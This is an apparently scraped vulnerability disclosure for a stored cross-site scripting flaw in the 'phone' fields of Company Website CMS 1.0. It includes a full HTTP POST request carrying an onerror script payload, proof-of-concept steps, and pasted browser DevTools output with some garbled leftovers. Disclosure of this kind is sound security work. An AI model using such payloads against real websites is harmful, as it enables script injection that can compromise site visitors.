

main

...

vul / WebRay.com.cn / Company Website CMS(XSS).md



ch0ing Update Company Website CMS(XSS).md

History

1 contributor

80 lines (50 sloc) | 2.78 KB

...

# Company Website CMS - /dashboard/contact 'phone' Stored Cross- Site Scripting(XSS)

Exploit Title: Company Website CMS - /dashboard/contact 'phone' Stored Cross-Site Scripting(XSS)

Exploit Author: [webraybtl@webray.com.cn](mailto:webraybtl@webray.com.cn) inc

Vendor Homepage: <https://www.sourcecodester.com/php/15517/company-website-cms-php.html>

Software Link:<https://www.sourcecodester.com/download-code?nid=15517&title=Company+Website+CMS+in+PHP+and+MySQL+Free+Source+Code>

Version: Company Website CMS 1.0

Tested on: Windows Server 2008 R2 Enterprise, Apache ,Mysql

Description

Persistent XSS (or Stored XSS) attack is one of the three major categories of XSS attacks, the others being Non-Persistent (or Reflected) XSS and DOM-based XSS. In general, XSS attacks are based on the victim's trust in a legitimate, but vulnerable, website or web application. Company Website CMS does not filter the content correctly at the parameter, resulting in the generation of stored XSS.

### Payload used:

```
POST /dashboard/contact HTTP/1.1
Host: 192.168.67.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101
Firefox/103.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.

Accept-Language: zh-CN;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----
-7024317128117527412760215857
Content-Length: 989
Origin: http://192.168.67.9
Connection: close
Referer: http://192.168.67.9/dashboard/contact
Upgrade-Insecure-Requests: 1

-----7024317128117527412760215857
Content-Disposition: form-data; name="phone1"

+89 (0) 2354 5470091<img src="" onerror="alert(1)">
-----7024317128117527412760215857
Content-Disposition: form-data; name="phone2"

+89 (0) 2354 5470091<img src="" onerror="alert(1)">
-----7024317128117527412760215857
Content-Disposition: form-data; name="email1"

mail@company.com
-----7024317128117527412760215857
Content-Disposition: form-data; name="email2"

mail@company.com
-----7024317128117527412760215857
Content-Disposition: form-data; name="longitude"

7.099737483
-----7024317128117527412760215857
Content-Disposition: form-data; name="latitude"
```

7.63734634

-----7024317128117527412760215857

Content-Disposition: form-data; name="save"

-----7024317128117527412760215857--




## Proof of Concept

1. Send payload
2. Open Page <http://192.168.67.5/>, We can see the alert.;
- 3.



SIT.



+89 (0) 2354 5470091 0 x 0

Email

Phone

Message

DevTools is now available in Chinese! [Always match Chrome's language](#) [Switch DevTools to Chinese](#) [Don't show again](#)

Elements Console Sources Network Performance Memory Application Security Lighthouse

```
<div class="col-12 col-lg-5">
  <!-- Section Heading -->
  <div class="section-heading text-center mb-3">...</div>
  <!-- Contact Us -->
  <div class="contact-us">
    <ul>
      <!-- Contact Info -->
      <li class="contact-info color-1 bg-hover active hover-bottom text-center p-5 m-3">
        <span>...</span>
        <a class="d-block my-2" href="tel:+89_(0)_2354_5470091" <img src="" onerror="alert(1)">
          "">
            <h3> == $0
              "+89 (0) 2354 5470091"
              <img src(unknown) onerror="alert(1)">
            </h3>
          </a>
        </li>
      </ul>
    </div>
  </div>
```